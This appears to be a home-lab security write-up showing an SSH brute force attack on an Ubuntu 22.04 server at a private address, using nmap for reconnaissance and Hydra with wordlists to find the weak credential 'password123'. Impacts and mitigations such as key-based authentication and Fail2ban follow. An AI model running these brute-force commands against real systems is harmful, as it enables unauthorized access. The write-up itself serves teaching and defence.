Attack 02 — SSH Brute Force | jellybeansontoasties

Objective

Perform a brute force attack against the SSH service on Ubuntu Server 22.04 to gain unauthorized access through credential guessing. This attack demonstrates the risk of weak passwords and default credentials in production systems.

Reconnaissance

Port scanning identified SSH service running on the standard port 22. Banner grabbing revealed OpenSSH version information. Initial attempts to identify valid usernames through enumeration were performed.

$ nmap -sV -p 22 192.168.100.30
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu

$ ssh -v 192.168.100.30
OpenSSH_8.9p1, OpenSSL 3.0.2

Exploitation

Using Hydra, a password brute force attack was launched against common usernames and password combinations. The attack successfully identified valid credentials after testing multiple combinations from wordlists.

$ hydra -L users.txt -P passwords.txt ssh://192.168.100.30
Hydra v9.4 starting
[22][ssh] host: 192.168.100.30   login: admin   password: password123
1 of 1 target successfully completed

$ ssh admin@192.168.100.30
admin@192.168.100.30's password: password123
Welcome to Ubuntu 22.04 LTS

After successful authentication, privilege escalation techniques were employed to gain root access, demonstrating the full compromise chain.

Impact

Successful SSH brute force attack leads to unauthorized system access with the following consequences:

Unauthorized access to user account and home directory
Potential for privilege escalation to root
Ability to install backdoors or maintain persistence
Access to sensitive files and configuration data
Potential lateral movement to other systems on the network
Data exfiltration capabilities

Mitigation

To protect against SSH brute force attacks:

Strong passwords: Enforce complex password policies (length, complexity, uniqueness)
Key-based authentication: Disable password authentication and use SSH keys instead
Fail2ban: Implement rate limiting and IP blocking after failed login attempts
Change default port: Move SSH to a non-standard port to reduce automated scanning
Two-factor authentication: Require 2FA for SSH access
Access restrictions: Use firewall rules to limit SSH access to specific IP addresses
Regular audits: Monitor authentication logs for suspicious activity
Account lockout: Implement account lockout policies after multiple failed attempts